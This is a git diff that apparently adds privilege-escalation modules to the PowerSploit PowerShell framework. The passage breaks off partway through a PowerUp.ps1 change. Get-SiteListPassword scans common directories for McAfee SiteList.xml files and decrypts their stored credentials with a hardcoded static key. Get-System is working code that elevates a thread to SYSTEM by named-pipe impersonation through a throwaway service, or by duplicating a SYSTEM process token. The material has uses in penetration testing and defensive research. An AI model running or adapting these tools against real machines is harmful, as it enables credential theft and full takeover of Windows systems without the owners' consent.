diff options
Diffstat (limited to 'Privesc')
-rw-r--r-- | Privesc/Get-SiteListPassword.ps1 | 178 | ||||
-rw-r--r-- | Privesc/Get-System.ps1 | 590 | ||||
-rw-r--r-- | Privesc/PowerUp.ps1 | 125 | ||||
-rw-r--r-- | Privesc/Privesc.psd1 | 30 |
4 files changed, 851 insertions, 72 deletions
diff --git a/Privesc/Get-SiteListPassword.ps1 b/Privesc/Get-SiteListPassword.ps1 new file mode 100644 index 0000000..f631872 --- /dev/null +++ b/Privesc/Get-SiteListPassword.ps1 @@ -0,0 +1,178 @@ +function Get-SiteListPassword { +<# + .SYNOPSIS + + Retrieves the plaintext passwords for found McAfee's SiteList.xml files. + Based on Jerome Nokin (@funoverip)'s Python solution (in links). + + PowerSploit Function: Get-SiteListPassword + Original Author: Jerome Nokin (@funoverip) + PowerShell Port: @harmj0y + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .PARAMETER SiteListFilePath + + Optional path to a SiteList.xml file. + + .EXAMPLE + + PS C:\> Get-SiteListPassword + + EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== + UserName : + Path : Products/CommonUpdater + Name : McAfeeHttp + DecPassword : MyStrongPassword! + Enabled : 1 + DomainName : + Server : update.nai.com:80 + + EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== + UserName : McAfeeService + Path : Repository$ + Name : Paris + DecPassword : MyStrongPassword! + Enabled : 1 + DomainName : companydomain + Server : paris001 + + EncPassword : jWbTyS7BL1Hj7PkO5Di/QhhYmcGj5cOoZ2OkDTrFXsR/abAFPM9B3Q== + UserName : McAfeeService + Path : Repository$ + Name : Tokyo + DecPassword : MyStrongPassword! + Enabled : 1 + DomainName : companydomain + Server : tokyo000 + + .LINK + https://github.com/funoverip/mcafee-sitelist-pwd-decryption/ + https://funoverip.net/2016/02/mcafee-sitelist-xml-password-decryption/ + https://github.com/tfairane/HackStory/blob/master/McAfeePrivesc.md +#> + + [CmdletBinding()] + param( + [ValidateScript({Test-Path -Path $_ })] + [String] + $SiteListFilePath + ) + + function Get-DecryptedSitelistPassword { + # PowerShell adaptation of https://github.com/funoverip/mcafee-sitelist-pwd-decryption/ + # Original Author: Jerome Nokin (@funoverip / jerome.nokin@gmail.com) + # port by @harmj0y + [CmdletBinding()] + Param ( + [Parameter(Mandatory = $True)] + [String] + $B64Pass + ) + + # make sure the appropriate assemblies are loaded + Add-Type -assembly System.Security + Add-Type -assembly System.Core + + # declare the encoding/crypto providers we need + $Encoding = [System.Text.Encoding]::ASCII + $SHA1 = New-Object System.Security.Cryptography.SHA1CryptoServiceProvider + $3DES = New-Object System.Security.Cryptography.TripleDESCryptoServiceProvider + + # static McAfee key XOR key LOL + $XORKey = 0x12,0x15,0x0F,0x10,0x11,0x1C,0x1A,0x06,0x0A,0x1F,0x1B,0x18,0x17,0x16,0x05,0x19 + + # xor the input b64 string with the static XOR key + $I = 0; + $UnXored = [System.Convert]::FromBase64String($B64Pass) | Foreach-Object { $_ -BXor $XORKey[$I++ % $XORKey.Length] } + + # build the static McAfee 3DES key TROLOL + $3DESKey = $SHA1.ComputeHash($Encoding.GetBytes('<!@#$%^>')) + ,0x00*4 + + # set the options we need + $3DES.Mode = 'ECB' + $3DES.Padding = 'None' + $3DES.Key = $3DESKey + + # decrypt the unXor'ed block + $Decrypted = $3DES.CreateDecryptor().TransformFinalBlock($UnXored, 0, $UnXored.Length) + + # ignore the padding for the result + $Index = [Array]::IndexOf($Decrypted, [Byte]0) + if($Index -ne -1) { + $DecryptedPass = $Encoding.GetString($Decrypted[0..($Index-1)]) + } + else { + $DecryptedPass = $Encoding.GetString($Decrypted) + } + + New-Object -TypeName PSObject -Property @{'Encrypted'=$B64Pass;'Decrypted'=$DecryptedPass} + } + + function Get-SitelistFields { + [CmdletBinding()] + Param ( + [Parameter(Mandatory = $True)] + [String] + $Path + ) + + try { + [Xml]$SiteListXml = Get-Content -Path $Path + + if($SiteListXml.InnerXml -Like "*password*") { + Write-Verbose "Potential password in found in $Path" + + $SiteListXml.SiteLists.SiteList.ChildNodes | Foreach-Object { + try { + $PasswordRaw = $_.Password.'#Text' + + if($_.Password.Encrypted -eq 1) { + # decrypt the base64 password if it's marked as encrypted + $DecPassword = if($PasswordRaw) { (Get-DecryptedSitelistPassword -B64Pass $PasswordRaw).Decrypted } else {''} + } + else { + $DecPassword = $PasswordRaw + } + + $Server = if($_.ServerIP) { $_.ServerIP } else { $_.Server } + $Path = if($_.ShareName) { $_.ShareName } else { $_.RelativePath } + + $ObjectProperties = @{ + 'Name' = $_.Name; + 'Enabled' = $_.Enabled; + 'Server' = $Server; + 'Path' = $Path; + 'DomainName' = $_.DomainName; + 'UserName' = $_.UserName; + 'EncPassword' = $PasswordRaw; + 'DecPassword' = $DecPassword; + } + New-Object -TypeName PSObject -Property $ObjectProperties + } + catch { + Write-Debug "Error parsing node : $_" + } + } + } + } + catch { + Write-Error $_ + } + } + + if($SiteListFilePath) { + $XmlFiles = Get-ChildItem -Path $SiteListFilePath + } + else { + $XmlFiles = 'C:\Program Files\','C:\Program Files (x86)\','C:\Documents and Settings\','C:\Users\' | Foreach-Object { + Get-ChildItem -Path $_ -Recurse -Include 'SiteList.xml' -ErrorAction SilentlyContinue + } + } + + $XmlFiles | Where-Object { $_ } | Foreach-Object { + Write-Verbose "Parsing SiteList.xml file '$($_.Fullname)'" + Get-SitelistFields -Path $_.Fullname + } +} diff --git a/Privesc/Get-System.ps1 b/Privesc/Get-System.ps1 new file mode 100644 index 0000000..32d4399 --- /dev/null +++ b/Privesc/Get-System.ps1 @@ -0,0 +1,590 @@ +function Get-System { +<# + .SYNOPSIS + + GetSystem functionality inspired by Meterpreter's getsystem. + 'NamedPipe' impersonation doesn't need SeDebugPrivilege but does create + a service, 'Token' duplications a SYSTEM token but needs SeDebugPrivilege. + NOTE: if running PowerShell 2.0, start powershell.exe with '-STA' to ensure + token duplication works correctly. + + PowerSploit Function: Get-System + Author: @harmj0y, @mattifestation + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .PARAMETER Technique + + The technique to use, 'NamedPipe' or 'Token'. + + .PARAMETER ServiceName + + The name of the service used with named pipe impersonation, defaults to 'TestSVC'. + + .PARAMETER PipeName + + The name of the named pipe used with named pipe impersonation, defaults to 'TestSVC'. + + .PARAMETER RevToSelf + + Reverts the current thread privileges. + + .PARAMETER WhoAmI + + Switch. Display the credentials for the current PowerShell thread. + + .EXAMPLE + + PS> Get-System + + Uses named impersonate to elevate the current thread token to SYSTEM. + + .EXAMPLE + + PS> Get-System -ServiceName 'PrivescSvc' -PipeName 'secret' + + Uses named impersonate to elevate the current thread token to SYSTEM + with a custom service and pipe name. + + .EXAMPLE + + PS> Get-System -Technique Token + + Uses token duplication to elevate the current thread token to SYSTEM. + + .EXAMPLE + + PS> Get-System -WhoAmI + + Displays the credentials for the current thread. + + .EXAMPLE + + PS> Get-System -RevToSelf + + Reverts the current thread privileges. + + .LINK + + https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c + https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot + http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/ + http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/ +#> + [CmdletBinding(DefaultParameterSetName = 'NamedPipe')] + param( + [Parameter(ParameterSetName = "NamedPipe")] + [Parameter(ParameterSetName = "Token")] + [String] + [ValidateSet("NamedPipe", "Token")] + $Technique = 'NamedPipe', + + [Parameter(ParameterSetName = "NamedPipe")] + [String] + $ServiceName = 'TestSVC', + + [Parameter(ParameterSetName = "NamedPipe")] + [String] + $PipeName = 'TestSVC', + + [Parameter(ParameterSetName = "RevToSelf")] + [Switch] + $RevToSelf, + + [Parameter(ParameterSetName = "WhoAmI")] + [Switch] + $WhoAmI + ) + + $ErrorActionPreference = "Stop" + + # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html + function Local:Get-DelegateType + { + Param + ( + [OutputType([Type])] + + [Parameter( Position = 0)] + [Type[]] + $Parameters = (New-Object Type[](0)), + + [Parameter( Position = 1 )] + [Type] + $ReturnType = [Void] + ) + + $Domain = [AppDomain]::CurrentDomain + $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) + $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) + $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) + $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') + $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) + $MethodBuilder.SetImplementationFlags('Runtime, Managed') + + Write-Output $TypeBuilder.CreateType() + } + + # from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html + function Local:Get-ProcAddress + { + Param + ( + [OutputType([IntPtr])] + + [Parameter( Position = 0, Mandatory = $True )] + [String] + $Module, + + [Parameter( Position = 1, Mandatory = $True )] + [String] + $Procedure + ) + + # Get a reference to System.dll in the GAC + $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | + Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } + $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') + # Get a reference to the GetModuleHandle and GetProcAddress methods + $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') + $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') + # Get a handle to the module specified + $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) + $tmpPtr = New-Object IntPtr + $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) + + # Return the address of the function + Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) + } + + # performs named pipe impersonation to elevate to SYSTEM without needing + # SeDebugPrivilege + function Local:Get-SystemNamedPipe { + param( + [String] + $ServiceName = "TestSVC", + + [String] + $PipeName = "TestSVC" + ) + + $Command = "%COMSPEC% /C start %COMSPEC% /C `"timeout /t 3 >nul&&echo $PipeName > \\.\pipe\$PipeName`"" + + # create the named pipe used for impersonation and set appropriate permissions + $PipeSecurity = New-Object System.IO.Pipes.PipeSecurity + $AccessRule = New-Object System.IO.Pipes.PipeAccessRule( "Everyone", "ReadWrite", "Allow" ) + $PipeSecurity.AddAccessRule($AccessRule) + $Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName,"InOut",100, "Byte", "None", 1024, 1024, $PipeSecurity) + + $PipeHandle = $Pipe.SafePipeHandle.DangerousGetHandle() + + # Declare/setup all the needed API function + # adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html + $ImpersonateNamedPipeClientAddr = Get-ProcAddress Advapi32.dll ImpersonateNamedPipeClient + $ImpersonateNamedPipeClientDelegate = Get-DelegateType @( [Int] ) ([Int]) + $ImpersonateNamedPipeClient = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateNamedPipeClientAddr, $ImpersonateNamedPipeClientDelegate) + + $CloseServiceHandleAddr = Get-ProcAddress Advapi32.dll CloseServiceHandle + $CloseServiceHandleDelegate = Get-DelegateType @( [IntPtr] ) ([Int]) + $CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate) + + $OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA + $OpenSCManagerADelegate = Get-DelegateType @( [String], [String], [Int]) ([IntPtr]) + $OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate) + + $OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA + $OpenServiceADelegate = Get-DelegateType @( [IntPtr], [String], [Int]) ([IntPtr]) + $OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate) + + $CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA + $CreateServiceADelegate = Get-DelegateType @( [IntPtr], [String], [String], [Int], [Int], [Int], [Int], [String], [String], [Int], [Int], [Int], [Int]) ([IntPtr]) + $CreateServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateServiceAAddr, $CreateServiceADelegate) + + $StartServiceAAddr = Get-ProcAddress Advapi32.dll StartServiceA + $StartServiceADelegate = Get-DelegateType @( [IntPtr], [Int], [Int]) ([IntPtr]) + $StartServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StartServiceAAddr, $StartServiceADelegate) + + $DeleteServiceAddr = Get-ProcAddress Advapi32.dll DeleteService + $DeleteServiceDelegate = Get-DelegateType @( [IntPtr] ) ([IntPtr]) + $DeleteService = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DeleteServiceAddr, $DeleteServiceDelegate) + + $GetLastErrorAddr = Get-ProcAddress Kernel32.dll GetLastError + $GetLastErrorDelegate = Get-DelegateType @() ([Int]) + $GetLastError = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetLastErrorAddr, $GetLastErrorDelegate) + + # Step 1 - OpenSCManager() + # 0xF003F = SC_MANAGER_ALL_ACCESS + # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx + Write-Verbose "Opening service manager" + $ManagerHandle = $OpenSCManagerA.Invoke("\\localhost", "ServicesActive", 0xF003F) + Write-Verbose "Service manager handle: $ManagerHandle" + + # if we get a non-zero handle back, everything was successful + if ($ManagerHandle -and ($ManagerHandle -ne 0)) { + + # Step 2 - CreateService() + # 0xF003F = SC_MANAGER_ALL_ACCESS + # 0x10 = SERVICE_WIN32_OWN_PROCESS + # 0x3 = SERVICE_DEMAND_START + # 0x1 = SERVICE_ERROR_NORMAL + Write-Verbose "Creating new service: '$ServiceName'" + try { + $ServiceHandle = $CreateServiceA.Invoke($ManagerHandle, $ServiceName, $ServiceName, 0xF003F, 0x10, 0x3, 0x1, $Command, $null, $null, $null, $null, $null) + $err = $GetLastError.Invoke() + } + catch { + Write-Warning "Error creating service : $_" + $ServiceHandle = 0 + } + Write-Verbose "CreateServiceA Handle: $ServiceHandle" + + if ($ServiceHandle -and ($ServiceHandle -ne 0)) { + $Success = $True + Write-Verbose "Service successfully created" + + # Step 3 - CloseServiceHandle() for the service handle + Write-Verbose "Closing service handle" + $Null = $CloseServiceHandle.Invoke($ServiceHandle) + + # Step 4 - OpenService() + Write-Verbose "Opening the service '$ServiceName'" + $ServiceHandle = $OpenServiceA.Invoke($ManagerHandle, $ServiceName, 0xF003F) + Write-Verbose "OpenServiceA handle: $ServiceHandle" + + if ($ServiceHandle -and ($ServiceHandle -ne 0)){ + + # Step 5 - StartService() + Write-Verbose "Starting the service" + $val = $StartServiceA.Invoke($ServiceHandle, $null, $null) + $err = $GetLastError.Invoke() + + # if we successfully started the service, let it breathe and then delete it + if ($val -ne 0){ + Write-Verbose "Service successfully started" + # breathe for a second + Start-Sleep -s 1 + } + else{ + if ($err -eq 1053){ + Write-Verbose "Command didn't respond to start" + } + else{ + Write-Warning "StartService failed, LastError: $err" + } + # breathe for a second + Start-Sleep -s 1 + } + + # start cleanup + # Step 6 - DeleteService() + Write-Verbose "Deleting the service '$ServiceName'" + $val = $DeleteService.invoke($ServiceHandle) + $err = $GetLastError.Invoke() + + if ($val -eq 0){ + Write-Warning "DeleteService failed, LastError: $err" + } + else{ + Write-Verbose "Service successfully deleted" + } + + # Step 7 - CloseServiceHandle() for the service handle + Write-Verbose "Closing the service handle" + $val = $CloseServiceHandle.Invoke($ServiceHandle) + Write-Verbose "Service handle closed off" + } + else { + Write-Warning "[!] OpenServiceA failed, LastError: $err" + } + } + + else { + Write-Warning "[!] CreateService failed, LastError: $err" + } + + # final cleanup - close off the manager handle + Write-Verbose "Closing the manager handle" + $Null = $CloseServiceHandle.Invoke($ManagerHandle) + } + else { + # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681381(v=vs.85).aspx + Write-Warning "[!] OpenSCManager failed, LastError: $err" + } + + if($Success) { + Write-Verbose "Waiting for pipe connection" + $Pipe.WaitForConnection() + + $Null = (New-Object System.IO.StreamReader($Pipe)).ReadToEnd() + + $Out = $ImpersonateNamedPipeClient.Invoke([Int]$PipeHandle) + Write-Verbose "ImpersonateNamedPipeClient: $Out" + } + + # clocse off the named pipe + $Pipe.Dispose() + } + + # performs token duplication to elevate to SYSTEM + # needs SeDebugPrivilege + # written by @mattifestation and adapted from https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot + Function Local:Get-SystemToken { + [CmdletBinding()] param() + + $DynAssembly = New-Object Reflection.AssemblyName('AdjPriv') + $AssemblyBuilder = [Appdomain]::Currentdomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('AdjPriv', $False) + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + + $TokPriv1LuidTypeBuilder = $ModuleBuilder.DefineType('TokPriv1Luid', $Attributes, [System.ValueType]) + $TokPriv1LuidTypeBuilder.DefineField('Count', [Int32], 'Public') | Out-Null + $TokPriv1LuidTypeBuilder.DefineField('Luid', [Int64], 'Public') | Out-Null + $TokPriv1LuidTypeBuilder.DefineField('Attr', [Int32], 'Public') | Out-Null + $TokPriv1LuidStruct = $TokPriv1LuidTypeBuilder.CreateType() + + $LuidTypeBuilder = $ModuleBuilder.DefineType('LUID', $Attributes, [System.ValueType]) + $LuidTypeBuilder.DefineField('LowPart', [UInt32], 'Public') | Out-Null + $LuidTypeBuilder.DefineField('HighPart', [UInt32], 'Public') | Out-Null + $LuidStruct = $LuidTypeBuilder.CreateType() + + $Luid_and_AttributesTypeBuilder = $ModuleBuilder.DefineType('LUID_AND_ATTRIBUTES', $Attributes, [System.ValueType]) + $Luid_and_AttributesTypeBuilder.DefineField('Luid', $LuidStruct, 'Public') | Out-Null + $Luid_and_AttributesTypeBuilder.DefineField('Attributes', [UInt32], 'Public') | Out-Null + $Luid_and_AttributesStruct = $Luid_and_AttributesTypeBuilder.CreateType() + + $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + $ConstructorValue = [Runtime.InteropServices.UnmanagedType]::ByValArray + $FieldArray = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + + $TokenPrivilegesTypeBuilder = $ModuleBuilder.DefineType('TOKEN_PRIVILEGES', $Attributes, [System.ValueType]) + $TokenPrivilegesTypeBuilder.DefineField('PrivilegeCount', [UInt32], 'Public') | Out-Null + $PrivilegesField = $TokenPrivilegesTypeBuilder.DefineField('Privileges', $Luid_and_AttributesStruct.MakeArrayType(), 'Public') + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, $ConstructorValue, $FieldArray, @([Int32] 1)) + $PrivilegesField.SetCustomAttribute($AttribBuilder) + $TokenPrivilegesStruct = $TokenPrivilegesTypeBuilder.CreateType() + + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder( + ([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]), + 'advapi32.dll', + @([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')), + @([Bool] $True) + ) + + $AttribBuilder2 = New-Object Reflection.Emit.CustomAttributeBuilder( + ([Runtime.InteropServices.DllImportAttribute].GetConstructors()[0]), + 'kernel32.dll', + @([Runtime.InteropServices.DllImportAttribute].GetField('SetLastError')), + @([Bool] $True) + ) + + $Win32TypeBuilder = $ModuleBuilder.DefineType('Win32Methods', $Attributes, [ValueType]) + $Win32TypeBuilder.DefinePInvokeMethod( + 'OpenProcess', + 'kernel32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [IntPtr], + @([UInt32], [Bool], [UInt32]), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder2) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'CloseHandle', + 'kernel32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder2) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'DuplicateToken', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr], [Int32], [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'SetThreadToken', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr], [IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'OpenProcessToken', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr], [UInt32], [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'LookupPrivilegeValue', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([String], [String], [IntPtr].MakeByRefType()), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32TypeBuilder.DefinePInvokeMethod( + 'AdjustTokenPrivileges', + 'advapi32.dll', + [Reflection.MethodAttributes] 'Public, Static', + [Reflection.CallingConventions]::Standard, + [Bool], + @([IntPtr], [Bool], $TokPriv1LuidStruct.MakeByRefType(),[Int32], [IntPtr], [IntPtr]), + [Runtime.InteropServices.CallingConvention]::Winapi, + 'Auto').SetCustomAttribute($AttribBuilder) + + $Win32Methods = $Win32TypeBuilder.CreateType() + + $Win32Native = [Int32].Assembly.GetTypes() | ? {$_.Name -eq 'Win32Native'} + $GetCurrentProcess = $Win32Native.GetMethod( + 'GetCurrentProcess', + [Reflection.BindingFlags] 'NonPublic, Static' + ) + + $SE_PRIVILEGE_ENABLED = 0x00000002 + $STANDARD_RIGHTS_REQUIRED = 0x000F0000 + $STANDARD_RIGHTS_READ = 0x00020000 + $TOKEN_ASSIGN_PRIMARY = 0x00000001 + $TOKEN_DUPLICATE = 0x00000002 + $TOKEN_IMPERSONATE = 0x00000004 + $TOKEN_QUERY = 0x00000008 + $TOKEN_QUERY_SOURCE = 0x00000010 + $TOKEN_ADJUST_PRIVILEGES = 0x00000020 + $TOKEN_ADJUST_GROUPS = 0x00000040 + $TOKEN_ADJUST_DEFAULT = 0x00000080 + $TOKEN_ADJUST_SESSIONID = 0x00000100 + $TOKEN_READ = $STANDARD_RIGHTS_READ -bor $TOKEN_QUERY + $TOKEN_ALL_ACCESS = $STANDARD_RIGHTS_REQUIRED -bor + $TOKEN_ASSIGN_PRIMARY -bor + $TOKEN_DUPLICATE -bor + $TOKEN_IMPERSONATE -bor + $TOKEN_QUERY -bor + $TOKEN_QUERY_SOURCE -bor + $TOKEN_ADJUST_PRIVILEGES -bor + $TOKEN_ADJUST_GROUPS -bor + $TOKEN_ADJUST_DEFAULT -bor + $TOKEN_ADJUST_SESSIONID + + [long]$Luid = 0 + + $tokPriv1Luid = [Activator]::CreateInstance($TokPriv1LuidStruct) + $tokPriv1Luid.Count = 1 + $tokPriv1Luid.Luid = $Luid + $tokPriv1Luid.Attr = $SE_PRIVILEGE_ENABLED + + $RetVal = $Win32Methods::LookupPrivilegeValue($Null, "SeDebugPrivilege", [ref]$tokPriv1Luid.Luid) + + $htoken = [IntPtr]::Zero + $RetVal = $Win32Methods::OpenProcessToken($GetCurrentProcess.Invoke($Null, @()), $TOKEN_ALL_ACCESS, [ref]$htoken) + + $tokenPrivileges = [Activator]::CreateInstance($TokenPrivilegesStruct) + $RetVal = $Win32Methods::AdjustTokenPrivileges($htoken, $False, [ref]$tokPriv1Luid, 12, [IntPtr]::Zero, [IntPtr]::Zero) + + if(-not($RetVal)) { + Write-Error "AdjustTokenPrivileges failed, RetVal : $RetVal" -ErrorAction Stop + } + + $LocalSystemNTAccount = (New-Object -TypeName 'System.Security.Principal.SecurityIdentifier' -ArgumentList ([Security.Principal.WellKnownSidType]::'LocalSystemSid', $null)).Translate([Security.Principal.NTAccount]).Value + + $SystemHandle = Get-WmiObject -Class Win32_Process | ForEach-Object { + try { + $OwnerInfo = $_.GetOwner() + if ($OwnerInfo.Domain -and $OwnerInfo.User) { + $OwnerString = "$($OwnerInfo.Domain)\$($OwnerInfo.User)".ToUpper() + + if ($OwnerString -eq $LocalSystemNTAccount.ToUpper()) { + $Process = Get-Process -Id $_.ProcessId + + $Handle = $Win32Methods::OpenProcess(0x0400, $False, $Process.Id) + if ($Handle) { + $Handle + } + } + } + } + catch {} + } | Where-Object {$_ -and ($_ -ne 0)} | Select -First 1 + + if ((-not $SystemHandle) -or ($SystemHandle -eq 0)) { + Write-Error 'Unable to obtain a handle to a system process.' + } + else { + [IntPtr]$SystemToken = [IntPtr]::Zero + $RetVal = $Win32Methods::OpenProcessToken(([IntPtr][Int] $SystemHandle), ($TOKEN_IMPERSONATE -bor $TOKEN_DUPLICATE), [ref]$SystemToken);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() + + Write-Verbose "OpenProcessToken result: $RetVal" + Write-Verbose "OpenProcessToken result: $LastError" + + [IntPtr]$DulicateTokenHandle = [IntPtr]::Zero + $RetVal = $Win32Methods::DuplicateToken($SystemToken, 2, [ref]$DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() + + Write-Verbose "DuplicateToken result: $LastError" + + $RetVal = $Win32Methods::SetThreadToken([IntPtr]::Zero, $DulicateTokenHandle);$LastError = [ComponentModel.Win32Exception][Runtime.InteropServices.Marshal]::GetLastWin32Error() + if(-not($RetVal)) { + Write-Error "SetThreadToken failed, RetVal : $RetVal" -ErrorAction Stop + } + + Write-Verbose "SetThreadToken result: $LastError" + $null = $Win32Methods::CloseHandle($Handle) + } + } + + if([System.Threading.Thread]::CurrentThread.GetApartmentState() -ne 'STA') { + Write-Error "Script must be run in STA mode, relaunch powershell.exe with -STA flag" -ErrorAction Stop + } + + if($PSBoundParameters['WhoAmI']) { + Write-Output "$([Environment]::UserDomainName)\$([Environment]::UserName)" + return + } + + elseif($PSBoundParameters['RevToSelf']) { + $RevertToSelfAddr = Get-ProcAddress advapi32.dll RevertToSelf + $RevertToSelfDelegate = Get-DelegateType @() ([Bool]) + $RevertToSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($RevertToSelfAddr, $RevertToSelfDelegate) + + $RetVal = $RevertToSelf.Invoke() + if($RetVal) { + Write-Output "RevertToSelf successful." + } + else { + Write-Warning "RevertToSelf failed." + } + Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" + } + + else { + if (-not ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] 'Administrator')) { + Write-Error "Script must be run as administrator" -ErrorAction Stop + } + + if($Technique -eq 'NamedPipe') { + # if we're using named pipe impersonation with a service + Get-SystemNamedPipe -ServiceName $ServiceName -PipeName $PipeName + } + else { + # otherwise use token duplication + Get-SystemToken + } + Write-Output "Running as: $([Environment]::UserDomainName)\$([Environment]::UserName)" + } +} diff --git a/Privesc/PowerUp.ps1 b/Privesc/PowerUp.ps1 index 9954c98..cb2bda5 100644 --- a/Privesc/PowerUp.ps1 +++ b/Privesc/PowerUp.ps1 @@ -122,8 +122,7 @@ function Test-ServiceDaclPermission { # check if sc.exe exists if (-not (Test-Path ("$env:SystemRoot\system32\sc.exe"))){ - Write-Warning "[!] Could not find $env:SystemRoot\system32\sc.exe" - return $False + throw [System.IO.FileNotFoundException] "$env:SystemRoot\system32\sc.exe not found" } $ServiceAccessFlags = @{ @@ -151,68 +150,60 @@ function Test-ServiceDaclPermission { # make sure we got a result back if (-not ($TargetService)){ - Write-Warning "[!] Target service '$ServiceName' not found on the machine" - return $False + throw [System.Management.Instrumentation.InstanceNotFoundException] "Target service '$ServiceName' not found on the machine" } - try { - # retrieve DACL from sc.exe - $Result = sc.exe sdshow $TargetService.Name | where {$_} + # retrieve DACL from sc.exe (only possible if 'RC' DACL is set) + $Result = sc.exe sdshow $TargetService.Name | where {$_} - if ($Result -like "*OpenService FAILED*"){ - Write-Warning "[!] Access to service $($TargetService.Name) denied" - return $False - } + if ($Result -like "*OpenService FAILED*"){ + throw [System.Management.Automation.ApplicationFailedException] "Could not retrieve DACL 